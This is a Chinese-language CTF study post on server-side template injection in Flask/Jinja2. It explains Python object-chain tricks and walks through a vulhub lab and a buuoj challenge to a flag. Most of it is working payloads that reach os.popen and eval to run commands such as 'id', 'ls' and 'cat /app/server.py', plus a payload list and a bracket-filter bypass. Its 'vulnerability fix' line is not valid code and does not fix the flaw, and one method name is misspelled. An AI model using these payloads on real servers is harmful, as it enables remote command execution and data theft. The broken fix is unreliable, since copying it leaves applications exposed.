模板注入
ssti 服务端模板注入,多存在于python的jinja2,django,tornado,mako 框架 php的tiwg,smarty框架 java框架jade velocity
在不正确使用模板引擎进行渲染时,会造成模板注入,会造成RCE,任意文件读取等漏洞,多出现再ctf中.

知识准备
__class__返回该对象所属的类
__base__以字符串形式返回一个类所直接继承的第一个类__bases__以元组的形式返回一个类所直接继承的类__mro__返回解析方法调用的顺序
__subclasses__()返回这个类的所有子类的集合
__globals__function.__global__获取function所处空间下可以使用的module、方法及所有变量__init__初始化类__builtins__可以利用__import__eval执行命令
1 | "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") |
''.__class__.__mro__[-1]为<class 'object'>
python中的类都是继承object的,所以要调用object类的__subclasses__()去得到我们想要使用的类的对象,
利用ssti要做的主要为两点
- 读取文件内容
- 执行命令
那只需要去寻找 os/file等关键字
一般都是使用object类下的
<class 'os._wrap_close'>的popen
1 | for i in enumerate(''.__class__.__base__.__subclasses__()[:200]): |
vulhub上的flask ssti
1 | from flask import Flask, request |
关键语句
t = Template("Hello " + name)
利用get传参进入template,构造注入语句
验证语句



漏洞修复
t = Template("Hello " + {{defense}})
官方POC
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
Hello uid=33(www-data) gid=33(www-data) groups=33(www-data)
buuoj ssti

可以判断是flask jinja2 的模板 (如果返回的是25 则是Twig模板)


?password={{%27%27.__class__.__base__}}
?password={{%27%27.__class__.__mro__[-1]}}

?password={{%27%27.__class__.__base__.__subclasses__()}}或者
?password={{%27%27.__class__.__mro__[-1].__subclasses__()}}获取object的可以利用的类

使用脚本遍历找到利用的类
?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127]}}

利用.__init__.__globals__来找os类下的,__init__初始化类,然后__globals__全局来查找所有的方法及变量及参数
?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__}}

利用popen去读取文件
?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__[%27popen%27](%27dir%27).read()}}

?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__[%27popen%27](%27ls%27).read()}}
?password={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__[%27eval%27]("__import__(%27os%27).popen(%27ls%27).read()")}}

?password={{%27%27.__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__[%27popen%27](%27whoami%27).read()}}

看看/app下面有什么内容
?password={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__[%27popen%27](%27ls%20/app%27).read()}}

看看server.py
?password={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__[%27popen%27](%27cat%20/app/server.py%27).read()}}

得到flag n1book{eddb84d69a421a82}
可能会用到的payload
1 | {{"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__["popen"]("whoami").read()}} |
如果过滤了[]等括号
使用 __gititem__
{{%27%27.__class__.__bases__[0]}} -->
{{%27%27.__class__.__bases__.__getitem__(0)}}
Reference
https://blog.csdn.net/weixin_45669205/article/details/114373785
https://xz.aliyun.com/t/3679
http://www.cl4y.top/ssti%e6%a8%a1%e6%9d%bf%e6%b3%a8%e5%85%a5%e5%ad%a6%e4%b9%a0/
https://www.cnblogs.com/Xy--1/p/12841941.html
http://ctf.ieki.xyz/library/ssti.html